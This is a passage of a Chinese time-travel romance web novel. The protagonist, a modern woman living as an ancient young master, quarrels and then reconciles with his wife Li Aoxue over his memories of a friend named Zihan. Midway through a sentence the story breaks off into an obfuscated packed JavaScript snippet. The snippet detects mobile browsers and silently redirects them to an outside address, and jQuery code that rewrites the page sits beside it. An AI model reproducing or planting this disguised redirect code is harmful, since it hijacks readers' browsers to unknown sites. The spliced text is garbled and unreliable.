肖晨和李傲雪对视一眼,看到玉溪眼中的期待,肖晨说道:“那好吧,但你一定要注意身体,要是觉得不舒服,可千万别硬撑着。”玉溪用力点头,脸上露出开心的笑容:“谢谢少爷,少夫人!” 待玉溪躺下休息后,肖晨和李傲雪轻手轻脚地走出房间。李傲雪忍不住问道:“少爷,你怎么对女子痛经的事如此了解呀?我从未见你接触过这些呢。”肖晨心中一紧,脑子飞速运转,笑着解释道:“我以前曾在医书里看到过,说女子经期疼痛,姜茶和热敷能缓解,刚好就记住了。”李傲雪恍然大悟,钦佩地说:“少爷真是博闻强识,连医书上这般细节都记得。”肖晨暗自松了口气,笑道:“不过是碰巧记住罢了。” 李傲雪心中的疑惑并未就此消散,她微微皱眉,轻声说道:“少爷,虽说您看过医书,可您刚刚的样子,记得如此清楚,又做得这般熟练,不像是第一次这样照顾人呢。” 肖晨一时没多想,下意识就说道:“我有个好朋友,她平日里就爱吃凉的,也不注意这些,每次痛起来都难受得不行,我就这么照顾她,次数多了自然熟练些。”话一出口,他才猛地反应过来,心中暗叫不好。 李傲雪勉强扯出一丝笑容,说道:“少爷对朋友真好。”可那笑容却怎么也达不成眼底,她低下头,掩饰眼中一闪而过的落寞。毕竟,肖晨如此细致地照顾过另一个女子,这让她心里多少有些不是滋味。 肖晨见状,心中满是懊悔,赶忙解释道:“傲雪,你别误会,我和她只是纯粹的朋友。而且那都是过去的事了,如今我心里只有你。我刚刚只是着急,没想那么多就说出来了。”说着,他轻轻握住李傲雪的手,一脸诚恳地看着她。 李傲雪抬起头,看着肖晨眼中的焦急与紧张,心中的委屈稍稍缓解了些。她轻声说道:“少爷,我知道你为人重情义,只是……只是听到你这般照顾过别的女子,心里难免有些难过。” 肖晨将李傲雪轻轻拥入怀中,温柔地说:“傲雪,是我考虑不周,让你伤心了。往后我做事说话,定会更加注意。你在我心中,是独一无二的,任何人都无法替代。”李傲雪靠在肖晨怀里,感受着他的温暖与真诚,轻轻点了点头,低声说:“嗯,少爷,我信你。” 肖晨轻轻放开李傲雪,目光中满是关切地说道:“那你这几天就多去照顾照顾玉溪吧,争取让她早点好起来。毕竟后天的灯会,大家一起去才热闹。”李傲雪郑重点头,温柔回应:“嗯,少爷放心,我会尽量让她快点好起来的。” 话落,李傲雪微微仰头,眼中带着一丝期待与羞涩,轻声问道:“少爷,若是我以后也遇到这般情况,你也会像照顾玉溪一样照顾我吗?”肖晨毫不犹豫,伸手轻轻将李傲雪散落的发丝别到耳后,目光坚定且深情地说道:“我会的。傲雪,你在我心里是最重要的人,无论你遇到什么,我都会在你身边。” 李傲雪脸颊绯红,心中满是甜蜜,她依偎进肖晨怀里,轻声说道:“少爷,有你这句话,傲雪便知足了。” 肖晨看着李傲雪,神情真挚地说道:“你跟我就像亲人一样,在我心里的地位无比重要。所以啊,我自然会好好照顾你的,这是我打从心底就认定的事。你千万别多想,我对你的心意,始终如一。” 李傲雪微微颔首,嘴角泛起一抹温柔的笑意,眼中虽还残留着一丝方才那点小情绪的痕迹,但更多的是对肖晨这番话的感动与安心。“少爷,有你这番话,傲雪便觉得自己是世上最幸福的人了。傲雪以后也会一直陪伴着少爷,打理好家中事务,不让少爷操心。” 肖晨轻轻抚了抚她的发顶,柔声道:“有你在我身边,是我的福气。咱们一起把日子过得越来越好。这几天你照顾玉溪也别太累着自己,要是有什么需要帮忙的,尽管跟我说。” 李傲雪应了一声,抬眸看向肖晨,目光中满是眷恋与依赖。“少爷放心,傲雪会注意的。玉溪平日对我尽心尽力,如今她身体不适,我理应好好照顾她。而且一想到后天我们三人能一起去逛灯会,傲雪就觉得满心欢喜。” 肖晨看着李傲雪眼中闪烁的期待光芒,心中也不禁充满了对即将到来的灯会的憧憬。“嗯,后天我们一起去,定要好好享受这难得的热闹时光。 晚上,二人用完晚膳,便回到房中。像往常一样,李傲雪深知肖晨不喜欢她靠得太近,便很规矩地在床的一侧躺好。不一会儿,肖晨平稳的呼吸声传来,他很快就进入了梦乡。 在梦里,肖晨仿佛又回到了现代,正和闺蜜沉浸在紧张刺激的游戏对战中。只见他的眉头时而紧皱,时而舒展,嘴里还不自觉地说起了梦话:“子涵,你快点上去,我来守护你!”那语气急切又坚定,仿佛此刻正置身于激烈的游戏战场。 睡在一旁的李傲雪,在寂静的夜里,将这梦话听得清清楚楚。她原本平静的心情瞬间泛起涟漪,心中涌起一股难以言喻的酸涩。“子涵”,这个陌生又亲昵的名字,就像一根针,轻轻刺痛了她的心。她缓缓侧过身,借着窗外透进来的微弱月光,凝视着肖晨的睡脸。此时的他,在睡梦中似乎还在为“子涵”紧张着,全然不知这番梦话给身边的李傲雪带来了怎样的触动。 李傲雪咬了咬嘴唇,眼眶渐渐湿润。她不知道“子涵”是谁,与肖晨又有着怎样的关系,但从这梦话中,她能感觉到这个“子涵”在肖晨心中似乎有着特殊的地位。在这漫长的夜里,李傲雪辗转反侧,心中满是疑惑与不安,久久难以入眠。 肖晨在梦中,眼见着“子涵”游戏里似乎要输,下意识地伸手一揽,就将身旁的李傲雪紧紧搂住,脸上带着几分得意的笑,喃喃道:“子涵,还是我厉害吧。” 李傲雪被他突然搂住,本就有些惊讶,再听到他嘴里不停念叨着“子涵”,心里顿时“咯噔”一下。她满脸羞愤与委屈,脸颊瞬间涨得通红,脑海中一个羞人的念头一闪而过:他不会是在做什么春梦,把自己当成那个叫子涵的女子了吧? 李傲雪又气又急,用力推了推肖晨,试图挣脱他的怀抱。可肖晨在睡梦中却好似抓得更紧了些,嘴里依旧嘟囔着与“子涵”有关的只言片语。李傲雪又羞又恼,眼眶里蓄满了泪水,小声地带着哭腔说:“少爷,你醒醒……” 此刻的她,满心都是被忽视和错认的委屈,在这黑夜里,显得格外无助。 李傲雪又急又气地推搡,却让睡梦中的肖晨误以为是“子涵”在和他玩闹,嘴里嘟囔着:“子涵,怎么还推我呀,平时咱们这么要好,你都把我弄疼啦,不就是没在游戏里让着你嘛。” 李傲雪听着这些话,心中的委屈如决堤的洪水般泛滥。泪水不受控制地顺着脸颊滑落,她又羞又气,却又不知该如何是好。在这个古代深闺之中,她满心依赖的丈夫,在睡梦中却将她错认成另一个女子,还说着如此亲密的话语。 她再次用力挣扎,带着哭腔说道:“少爷,你醒醒,我不是子涵!”这一次,或许是李傲雪的声音太过悲切,肖晨终于从梦中惊醒。他迷迷糊糊地睁开眼睛,看到满脸泪痕、神色委屈的李傲雪,还有自己紧紧搂着她的手,瞬间清醒过来,心中满是愧疚与慌乱。 肖晨猛地清醒,见此情形,像触了电一般迅速把手抽出来,满脸慌乱与愧疚,急忙解释:“我……我不是故意的,傲雪,刚刚我做了个梦,一时间没分清现实。”他看着李傲雪泪流满面,心像被狠狠揪了一下,懊悔不已。 李傲雪别过头去,抽噎着说:“少爷梦里的子涵,与你定是极亲密的。我虽只是个女子,也知道男女有别,可听你梦里声声唤她,我……我实在难受。” 肖晨赶忙坐起身,伸手想安抚李傲雪,又怕她抗拒,手僵在半空,急道:“傲雪,子涵只是我在以前的朋友,就像兄弟一样,我们之间绝无其他。方才是我不好,让你伤心了。” 李傲雪微微转头,泪眼朦胧地看着他,带着一丝希冀问:“真的只是朋友?”肖晨用力点头,一脸诚恳:“千真万确,我对天发誓。以后我定会注意,不会再让你有这般委屈。”李傲雪看着他焦急又认真的模样,心中的委屈稍稍缓解了些,却仍忍不住低声啜泣。 肖晨见李傲雪还在哭,赶忙哄道:“你先别哭咯,不过就是做个梦嘛,瞧你,把自己哭成个小花猫。看来以后说话真得小心点。” 李傲雪听他这话,心里的委屈又浓了几分,她止住哭声,直直地看着肖晨,问道:“你跟那位子涵姑娘,当真没有亲密接触吗?” 肖晨一时没反应过来,下意识地回答:“我们就只是搂搂抱抱,没事睡一起。这有什么啊,在我们那儿,大家关系好,这些都很正常。”话一出口,他才意识到自己说错话了,看着李傲雪瞬间瞪大双眼,一脸不可置信与受伤的表情,心里暗叫不好。 李傲雪气得嘴唇都微微颤抖,声音带着哭腔说道:“搂搂抱抱,还睡在一起?这……这成何体统!少爷,在这世上,男女之间怎可有这般行径!你……你让我如何自处!”说罢,她用被子蒙住头,放声大哭起来。肖晨这下彻底慌了神,赶忙去拉被子,嘴里不停解释:“傲雪,不是你想的那样,我们那个世界观念不一样,真的没有逾矩之事,你听我解释啊……” 李傲雪在被子里哭得愈发伤心,闷声说道:“我不想听!在我看来,这般行为实在伤风败俗!” 肖晨急得额头上冒出细密的汗珠,心里直叫苦。他心里想着,在现代,两个女生之间拥抱、偶尔睡在一起,真的是再平常不过的事,大家都觉得这只是关系亲密的表现,根本没有什么别的意思。自己刚刚不过是如实坦白,没想着要对李傲雪说谎,可没想到却把事情弄成了这样。 他忘了,如今身处古代,自己还是男子身份,这样的行为在古人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993180|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中确实难以接受。此刻他满心懊悔,想要解释,可又觉得一时之间不知从何说起,现代和古代观念的巨大差异,让他不知该如何才能让李傲雪明白其中缘由。 他只能不断地说着:“傲雪,你先别气,真的不是你想的那种男女之情,你相信我。”一边说着,一边轻轻拉着被子,希望李傲雪能听他解释,可李傲雪只是哭着,根本不愿理他。 肖晨实在不知该如何继续哄下去,只觉得越解释情况越糟糕,满心无奈与疲惫。他用力抓着被子,侧身躺下,带着几分烦躁道:“你别哭了行不行,我还得睡觉呢。” 李傲雪听到这话,哭声戛然而止,震惊与伤心交织在心头。她没想到,自己如此难过,肖晨竟这般不耐烦。黑暗中,她双眼直直地盯着床顶,泪水仍不断从眼角滑落,打湿了枕头。 肖晨虽躺下,却也难以入眠,心中五味杂陈,有点后悔自己刚刚的态度,可又不知如何打破这尴尬的局面。李傲雪满心委屈,觉得自己在肖晨心中似乎并不重要,对这段感情也生出许多迷茫。 肖晨翻了个身,背对着李傲雪,声音中透着一丝无奈与疲惫,说道:“我已经坦白了,事情就是这样,至于你接不接受,我也没办法再给你解释清楚了。你要是一直这么难过,我确实也没什么办法,我本来就不擅长哄人。” 李傲雪听着他这番话,心中的寒意更甚,她缓缓坐起身,借着窗外微弱的月光,看向肖晨的背影,眼中满是失望与痛心。“少爷,在你心中,我就如此无理取闹吗?你与别的女子那般亲密,一句解释不清,不会哄人,便想将此事揭过?”李傲雪的声音微微颤抖,透着深深的委屈。 肖晨听到李傲雪的质问,心中也有些烦躁,却又不知该如何应对。他又翻了个身,看着李傲雪,眼神中带着一丝茫然与无措,“傲雪,我知道我的话可能让你难受了,但在我原来的世界,这些真的没什么大不了。我不知该怎么让你理解,也不知道该怎么哄你才能让你不生气。” 李傲雪咬着嘴唇,沉默片刻后,轻声说道:“少爷,你我既已成婚,便该相互尊重,恪守夫妻之道。你心中若有他人,又怎对得起我?”说罢,她再次躺下,用被子紧紧裹住自己,不再言语。 肖晨重重地叹了口气,语气虽算不上冷漠,却满是决然:“我没有做任何对不起你的事,只是感情这种东西勉强不来,我从一开始就跟你说得很清楚了。” 李傲雪身子微微一颤,声音带着一丝哽咽:“所以你一直不肯碰我,也是因为你根本不爱我,对不对?” 肖晨没有丝毫犹豫,坦诚地点点头:“是的。我不能欺骗你,我心中向往的是与真正喜欢之人共度一生,总有一天我也会遇到自己喜欢的人。” 李傲雪眼中蓄满的泪水终于不受控制地滑落,她的心仿佛被撕裂一般疼痛。在这封建礼教森严的时代,她将自己的一生托付给眼前这个男人,换来的却是如此直白的拒绝。“那我呢?少爷,你可曾想过我的感受?我既已嫁与你,便认定了你是我的天,可你……”李傲雪泣不成声,话语被哭声淹没。 肖晨看着李傲雪如此伤心,心中也不禁泛起一丝愧疚,可他明白,感情之事不能含糊。他轻声说道:“傲雪,我知道这样对你很残忍,但长痛不如短痛。我不想给你虚假的希望,也不想耽误你的人生。”然而,在这古代,女子嫁为人妇后,又哪有轻易“重新开始”的可能,肖晨的话,在李傲雪听来,不过是一种无力的安慰罢了。 李傲雪满脸泪痕,声音带着颤抖与决然,仰头看向肖晨说道:“少爷,我会好好疼爱你的,真的。我也不计较你心里会不会爱上别人,我知道感情勉强不来。可是我爱你,打从心底里想跟你好好过日子。要是你嫌弃我刚刚那样嫉妒,不够大方,我改就是了,只要你别不要我。” 肖晨听着她这番话,整个人愣住了,完全被李傲雪这一番操作弄得摸不着头脑。在他原本的认知里,面对自己如此直白的拒绝,李傲雪应该会愤怒、会伤心离开才对。可如今李傲雪不仅没有丝毫怨怼,反而这般卑微地祈求,愿意包容他心里可能有别人,还想努力改变自己来迎合他,这大大超出了他的理解范畴。 他看着李傲雪,眼神中满是复杂,有惊讶、有不解,更多的是对她这番深情的不知所措。“傲雪,你……何必如此呢?感情不是单方面的付出,你这样……我……”肖晨一时语塞,不知该如何回应李傲雪这份炽热又沉重的爱。 李傲雪满心悲戚与执着,近乎绝望地喃喃:“少爷,没了你我怎么活。”她不愿相信肖晨对自己竟毫无情意,心中那团爱的火焰促使她鼓起勇气。只见她缓缓凑近肖晨,双眼紧闭,带着孤注一掷的决然,轻轻吻上了他的唇。 肖晨完全没料到李傲雪会有这样的举动,整个人如遭雷击,瞬间僵住。大脑一片空白,思绪停滞,完全没了反应,只是呆呆地瞪大双眼,满脸的不可置信,整个人处于极度懵逼的状态。他怎么也想不到,一向温婉羞涩的李傲雪,会以如此大胆直接的方式来表达自己的情感。 李傲雪感受到肖晨并未推开自己,误以为这是一种默许,心中的勇气陡然倍增,动作也愈发大胆。她微微仰头,将自己火热的唇瓣更加紧密地贴合着肖晨,像是要把满心的爱意与渴望,都通过这个吻传递给他。 肖晨仍沉浸在巨大的震惊中,思维仿佛被冻结。他能清晰地感觉到李傲雪唇间的温度,那股热度仿佛带着燎原之势,瞬间扰乱了他原本平静的内心。身体像是被施了定身咒,想推开李傲雪,却又仿佛被一种无形的力量束缚,一时动弹不得。 过了好一会儿,肖晨才如梦初醒般,猛地回过神来,下意识地双手抵住李傲雪的肩膀,轻轻将她推开,脸上满是慌乱与尴尬,结结巴巴地说道:“傲……傲雪,你……这太唐突了。” 李傲雪被肖晨轻轻推开,脸上飞起两朵红晕,眼中却还残留着未消散的深情与执着。她微微喘着气,声音带着一丝颤抖说道:“少爷,我……我只是太害怕失去你,情不自禁就……” 肖晨别过脸去,不敢与她对视,心中五味杂陈。他深知李傲雪对自己的感情炽热而真挚,可他内心深处,还坚守着对现代爱情观念的执着,一时难以接受这份突如其来且浓烈的爱意。 肖晨看着李傲雪,目光中带着几分慌乱与无措,缓缓开口道:“我从未跟女人这样亲近,你这样……让我的心很乱。”他微微别过头,不敢直视李傲雪的眼睛,脸上浮现出一抹不自然的红晕。 李傲雪心中一动,眼中闪过一丝惊喜,她鼓起勇气轻声问道:“少爷,那是不是说明,我对你而言,是与众不同的?”说着,她微微仰头,满含期待地凝视着肖晨,眼中波光流转,仿佛藏着万千星辰。 肖晨一时语塞,不知该如何回应。他确实从未与女子有过这般亲密接触,李傲雪的主动让他方寸大乱,可他又不确定自己对李傲雪的感觉是否就是爱意。沉默片刻,他深吸一口气,坦诚说道:“傲雪,我……我也不知该如何说。只是这种感觉很陌生,也很混乱,我需要时间理清自己的思绪。” 李傲雪轻轻点头,眼中虽有一丝失落,但更多的仍是理解与期待。“少爷,我明白,感情之事急不得。我会等你,等你想清楚。无论结果如何,我都希望能一直陪在你身边。”她的声音轻柔而坚定,如同夜空中的微风,轻轻拂过肖晨的心间。 肖晨看着李傲雪,心中不禁泛起一阵涟漪。在这个封建礼教束缚的世界里,李傲雪的勇敢与深情,如同黑暗中的一束光,照亮了他原本迷茫的内心。他缓缓伸出手,轻轻握住李傲雪的手,低声说道:“傲雪,谢谢你。”这简单的三个字,包含了他此刻复杂的心情与对李傲雪的感激。 20. 没想到回现代这么简单 李傲雪脸上带着温柔的笑意,轻声说道:“只要能让少爷开心就好。” 肖晨看着眼前的她,心中满是纠结与困惑。他实在不确定自己对李傲雪究竟是何种感觉,明明一开始他坚信自己对她没有爱意,可刚刚李傲雪吻上来时,他竟没有直接推开。为了弄清楚心中这份莫名的情愫,他心一横,决定再试一下。 肖晨缓缓凑近李傲雪,目光中带着一丝紧张与试探,随后主动吻上了她。这一次,他闭上双眼,试图全身心去感受这份接触。李傲雪先是一愣,随即心中涌起一阵惊喜与羞涩,她轻轻闭上双眸,身子微微颤抖,紧张又期待地回应着肖晨。 在这个吻里,肖晨感受到了李傲雪的温柔与炽热,那是一种毫无保留的情感倾注。他的心开始不受控制地加速跳动,一种从未有过的感觉在心底蔓延开来,如同潺潺溪流,逐渐润泽了他内心深处那片关于爱情的荒芜之地。他的脑海中一片混沌,却又似乎有某种情绪在悄然觉醒。 而李傲雪,沉浸在这份突如其来的甜蜜之中,泪水忍不住夺眶而出。这泪水里,有长久以来的委屈,更有此刻梦想成真般的喜悦。她紧紧抓住肖晨的衣袖,仿佛害怕这一切只是一场稍纵即逝的美梦。 良久,两人缓缓分开,彼此凝视着对方,眼中都满是复杂的情绪。肖晨微微喘息着,心中的困惑似乎有了一些模糊的答案,而李傲雪则带着一丝羞怯与期待,等待着肖晨的下一步回应。 肖晨与李傲雪分开后,四目相对,他的脸微微泛红,心中满是纠结与无措。虽然在现代通过电视对男女之事了解不少,可当真正要与李傲雪进一步亲密接触时,那些从电视上看来的模糊概念瞬间化为乌有,他完全不知道该如何迈出下一步。 刚刚两人亲密接触时产生的感觉还在心头萦绕,他发现自己并不反感,甚至还有些别样的触动,但这突如其来的情绪让他有些难以招架,还需要时间好好消化。他张了张嘴,想要说些什么,却又觉得言语在此刻是如此苍白无力。 李傲雪同样满脸通红,眼神中带着羞涩与期待,她轻轻咬着嘴唇,低垂着眼帘,不敢直视肖晨的目光。房间里的气氛变得格外暧昧而又安静,只有两人微微急促的呼吸声在空气中交织。 肖晨深吸一口气,努力让自己镇定下来,轻声说道:“傲雪,我……我需要静一静。”说完,他缓缓松开李傲雪的手,躺回自己一侧,背对着她,思绪却如乱麻般缠绕在一起。他一方面对自己刚刚的举动感到震惊,另一方面又不得不承认,李傲雪带给他的感觉正在悄然改变着他之前对两人关系的认知。 李傲雪听到肖晨的话,心中虽有些失落,但她明白肖晨需要时间,于是轻声应了一句:“好的,少爷。”她也慢慢躺下,眼睛望着床顶,脸上仍残留着方才的红晕,心中满是对未来两人关系的憧憬与担忧。 清晨,第一缕阳光透过窗户的缝隙洒在屋内。肖晨早早便起了身,昨夜发生的种种仍在脑海中不断盘旋,让他实在不知该如何面对李傲雪,于是匆匆收拾一番,便躲进了书房。 书房内,他坐在书桌前,摊开一本书,可目光却始终无法聚焦在书页上,满脑子都是李傲雪的身影。一想到昨晚与她亲密接触的场景,脸上便不自觉地泛起红晕,心中的尴尬如潮水般涌来,令他坐立不安。 而另一边,李傲雪悠悠转醒,身旁的床铺早已没了肖晨的温度。她微微愣神,片刻后,嘴角勾起一抹甜蜜的微笑,昨晚的美好瞬间再次涌上心头。她轻抚着自己的嘴唇,仿佛还能感受到肖晨的气息,心中满是对未来的憧憬。 起身梳洗完毕,李傲雪心中挂念着肖晨,想着要不要给他送些茶点去书房。她精心准备了肖晨平日里最爱吃的点心,又沏了一壶香茗,迈着轻快的步伐朝书房走去。 当她来到书房门口,轻轻叩响房门时,肖晨正在里面心烦意乱地踱步。听到敲门声,他心中一惊,下意识地以为是李傲雪,犹豫片刻后,还是硬着头皮开了门。 李傲雪笑意盈盈地看着他,手中端着茶点,说道:“少爷,我给你送些吃的来了。”肖晨看着她那温柔可人的模样,心中的尴尬稍稍缓解了些,但仍有些不自在,连忙侧身让她进来,说道:“有劳你了,傲雪。” 李傲雪将茶点放在桌上,说道:“少爷,你昨晚……没休息好吧,眼下都有黑眼圈了。”说着,她微微皱眉,眼中满是关切。肖晨避开她的目光,含糊地应道:“嗯,昨夜思绪有些杂乱,没睡好。” 李傲雪没有再多问,只是轻声说道:“少爷,先吃些点心,喝口茶吧,别累着自己。”肖晨点点头,坐了下来,拿起一块点心,却觉得味同嚼蜡。李傲雪静静地站在一旁,看着他,眼神中满是爱意与温柔,而肖晨则一心想着如何打破这略显尴尬的气氛。 肖晨见李傲雪只是静静地看着自己,便赶忙说道:“你也吃啊,别光顾着我。”说罢,他像是为了掩饰内心的慌乱,开始急促地吃起点心。 李傲雪看着肖晨这副模样,不禁莞尔,她轻柔地走上前,伸出手,用手帕轻轻为肖晨擦拭嘴角残留的点心碎屑。刹那间,肖晨闻到她身上淡雅的香气,一股难以言喻的冲动涌上心头,身体不受控制地起了生理反应。 在这股冲动的驱使下,他下意识地抓住李傲雪的手,顺势将她轻柔地搂入怀中。李傲雪被这突如其来的举动吓了一跳,轻呼一声,脸上瞬间泛起红晕,如同熟透的苹果。她微微仰头,看着肖晨,眼中满是羞涩与惊讶,呼吸也变得急促起来。 肖晨此时才如梦初醒,意识到自己行为的不妥,可他看着怀中娇羞的李傲雪,竟一时舍不得松开。内心挣扎片刻后,他嗫嚅着说道:“傲雪,我……我不是故意的,只是……”话未说完,便被李傲雪用手指轻轻抵住了嘴唇。 李傲雪双颊绯红,轻声说道:“少爷,我……我明白。”她的声音如同蚊蚋,却带着一种让人安心的温柔。 肖晨望着近在咫尺的李傲雪,眼神中交织着慌乱与渴望。此刻,仿佛有一股无形的力量牵引着他,理智在这瞬间土崩瓦解,他不受控制地低下头,再次吻住了她。 这一次的吻,较昨夜更多了几分热烈与急切。肖晨的双手不自觉地收紧,将李傲雪紧紧拥在怀中,仿佛要把她融入自己的身体。李傲雪轻颤着回应,双手下意识地抓住肖晨的衣衫,像是抓住了这世上最坚实的依靠。 她闭上双眸,沉浸在这份突如其来的炽热情感之中,娇弱的身躯微微发软。 在这一吻里,千言万语都化作了无尽的温柔与眷恋。肖晨原本混沌的内心,在这一刻仿佛有了些许明晰,他渐渐意识到,李傲雪已悄然在他心中占据了重要的位置,而这份情感,远比他想象的要深刻浓烈。 肖晨迫不及待地想要品尝更多,他的吻从李傲雪的唇间缓缓游移,沿着她细腻的脸颊,轻轻落在那修长的脖颈处。李傲雪轻喘着,身子愈发绵软,紧紧依偎在肖晨怀里,娇弱的身躯微微颤抖,双手不自觉地揪紧肖晨的衣服。 肖晨的呼吸愈发急促,心中被一种难以言喻的情感填满。他的手也开始不自觉地在李傲雪的后背轻抚,动作带着一丝生涩与急切。李傲雪嘤咛一声,脸上泛起如霞般的红晕,双眸紧闭,沉浸在这突如其来又浓烈炽热的情感之中。 过了许久,肖晨终于缓缓放开李傲雪,胸膛剧烈起伏着,脸上满是复杂神色。他略带歉意地说道:“刚才我有点过了。你突然靠近我,我……实在是,对不起。” 李傲雪面色绯红,眼神中透着羞怯与迷离,微微喘着气轻声说:“少爷,我……我不怪你。”她低垂着头,双手不自觉地揪着衣角,心中既为方才的亲密而羞涩,又因感受到肖晨的情感回应而暗自欣喜。 肖晨看着李傲雪这副模样,心中满是怜惜与自责。他抬手轻轻捋了捋李傲雪额前凌乱的发丝,柔声说道:“傲雪,我并非有意冒犯,只是……只是一时没能控制住自己。我不想让你觉得我是个轻薄之人。” 李傲雪微微仰头,目光中满是深情与信任,说道:“少爷,我懂你的。我知道你对我……有了不一样的感觉,我很开心。”她嘴角微微上扬,露出一抹羞涩的笑容,那笑容如同春日暖阳,瞬间驱散了肖晨心中的些许阴霾。 肖晨看着李傲雪,心中涌起一股暖流,他轻轻将李傲雪拥入怀中,低声说道:“傲雪,或许我之前一直没看清自己的心,但经过刚才,我想我明白了一些。我会对你负责的。”李傲雪靠在肖晨怀里,听着他有力的心跳,感受着这份承诺,心中满是甜蜜与安心,仿佛这一刻,整个世界都变得无比美好。 肖晨此时思绪万千,脑海中突然闪过一件事。他清晰地记得,自己当初之所以来到这个古代世界,正是因为看到了李傲雪的画,那画中仿佛藏着某种神秘的吸引力,牵引着他来到这里。但此刻,他决定先将这件事瞒着李傲雪。 他看着李傲雪,眼神温柔,嘴角噙着一抹浅笑说道:“我之前听说你绘画不错。不如我给你画一幅画?”李傲雪微微一愣,随即眼中绽放出惊喜的光芒,她轻轻点头,兴奋地说道:“真的吗?少爷愿意为我作画,那是再好不过了。” 肖晨让李傲雪坐在窗边光线最好的位置,那里的阳光柔和地洒在她身上,为她勾勒出一层淡淡的光晕。他拿起画笔,目光专注地看着李傲雪,心中感慨万千。眼前的她,与那幅画中的女子重合,可他却不知该如何向她诉说这奇妙又难以解释的缘分。 李傲雪有些羞涩地垂下眼眸,双手乖巧地放在膝上,偶尔抬眼偷偷看向肖晨。她从未想过,会有这样的机会,让肖晨如此专注地为自己作画。书房内安静极了,只有画笔在宣纸上摩挲的沙沙声。肖晨一边画,一边在心中思索着自己与李傲雪的种种过往,越发觉得这份缘分的奇妙与珍贵。而李傲雪,沉浸在这份别样的甜蜜之中,满心期待着这幅饱含肖晨心意的画作完成。 肖晨终于完成了画作,他凝视着眼前这幅画,心中满是复杂的情绪。这幅画无论是线条的勾勒,还是神韵的捕捉,竟都与他当初在现代所见、引领他来到古代的那幅李傲雪的画毫无二致。仿佛命运的齿轮在这一刻悄然契合,而他却仍深陷这神秘莫测的关联之中,不得其解。 李傲雪满心欢喜地凑了过来,当她的目光触及那幅画时,眼中瞬间绽放出璀璨的光芒。“哇,少爷,你画得真好!”她不禁赞叹出声,脸上洋溢着抑制不住的喜悦,整个人都仿佛被幸福填满。画中的自己栩栩如生,一颦一笑仿佛都被赋予了灵魂,她能真切地感受到肖晨在作画时倾注的专注与深情。 “少爷,这是我见过最美的画,我好喜欢。”李傲雪抬起头,眼中满是对肖晨的倾慕与感激。肖晨看着她那纯真喜悦的模样,心中一动,话到嘴边又咽下。他终究还是决定先将这背后隐藏的神秘故事暂存心底,不想因这难以言说的缘由打破此刻的美好。 “只要你喜欢就好。”肖晨微笑着说道,眼神温柔地看着李傲雪。他知道,自己与李傲雪之间的缘分,远比这幅画所呈现的更加错综复杂。 李傲雪一脸珍视地说道:“我要把这幅画好好珍藏起来,这可是少爷为我画的,意义非凡。”肖晨思索片刻,建议道:“我看不如先把画挂在书房里比较好,这样我平日里作画读书,一抬眼就能瞧见你。” 李傲雪微微皱眉,面露担忧之色:“万一要是老先生来了看到不太好吧。老先生一向古板,怕是会觉得此举不合规矩。” 随后,她眼眸一亮,提议道:“要不挂到我们的房里?那里只有我们能看到,既安全又能天天欣赏。” 肖晨微微点头,觉得李傲雪说得在理:“你说得对,挂在房里确实妥当些。这样,每天晨起日暮,咱们都能伴着这幅画,也算多了份情趣。”李傲雪脸颊微红,轻轻应了一声“嗯”,心中满是对未来在这房中与肖晨相伴,共同欣赏这幅画的憧憬。 肖晨看着李傲雪,眼神中满是宠溺,说道:“那你先去把画拿去装裱,选个精致的裱框,然后放在我们的房间。如此一来,这幅画会更添几分韵味。” 李傲雪欣然点头,小心翼翼地捧起画作,仿佛捧着世间最珍贵的宝物,说道:“好呀,少爷,我这就去找城中手艺最好的师傅装裱,定不会辜负少爷的一番心意。” 说罢,她迈着轻快的步伐,带着满心的欢喜出门而去,一心只想尽快让这幅承载着两人情谊的画,以最美的姿态呈现在房间之中。 李傲雪带着画匆匆赶到城中最负盛名的装裱店。店内老师傅见她如此小心翼翼地捧着画,便知这画对她意义非凡,不敢有丝毫懈怠,当即承诺定会精心装裱。 等待装裱的时间里,李傲雪满心期待,脑海中不断浮现出这幅画挂在她与肖晨房间里的模样。她想着,每日清晨醒来,第一眼就能看到肖晨为自己画的像,那该是多么幸福的事。 终于,装裱完成。老师傅手艺精湛,选用的裱框材质上乘,古朴雅致的边框与画作相得益彰,更衬出画中女子的灵动与温婉。李傲雪谢过老师傅,抱着画赶忙回府。 一进府,她便直奔房间,轻轻将画挂在床头的墙上。退后几步,细细端详,只见画中自己在窗边浅笑,阳光洒身,仿佛真的要从画中走出来一般。正看得出神,肖晨恰好走进房间。 “少爷,你看,挂在这里是不是很好看?”李傲雪转身,眼中闪烁着兴奋的光芒。肖晨走到她身旁,揽过她的肩,点头道:“好看,这画挂在此处,整个房间都增添了几分温馨。”两人并肩而立,凝视着画,沉浸在这温馨美好的氛围中。 过了一会儿,肖晨轻声说道:“傲雪,看着这幅画,我愈发觉得,与你相遇相知是莫大的缘分。”李傲雪仰头看着他,眼中满是深情:“少爷,我也这么觉得。自与少爷相识,我的生活便如同被点亮了一般。” 肖晨轻轻握住李傲雪的手,语气坚定:“往后的日子,不管遇到什么,我都会一直在你身边。”李傲雪眼眶微红,依偎进肖晨怀里,感受着这份承诺带来的温暖与安心。 肖晨凝视着那幅画,思绪却飘向了遥远的现代世界,心中暗自思忖:“我究竟要怎样才能回去呢?”这个问题如一团迷雾,始终萦绕在他心头。 他转头看向身旁一脸幸福的李傲雪,犹豫片刻后,轻声说道:“你去准备洗澡吧,忙了这许久,想必也累了。我得睡会,这几日着实有些乏了。”李傲雪听闻,关切地看了看肖晨,点头应道:“好呀,少爷,你好好休息,我这就去准备。”说罢,她轻轻转身,脚步轻盈地走出了房间。 待李傲雪离开,肖晨重重地坐到床边,再次将目光投向那幅画。他总觉得,这幅画与自己穿越之事有着千丝万缕的联系,可任凭他如何绞尽脑汁,也想不出其中的关键。他揉了揉太阳穴,满心疲惫,却又被这不知归期的迷茫所困扰。 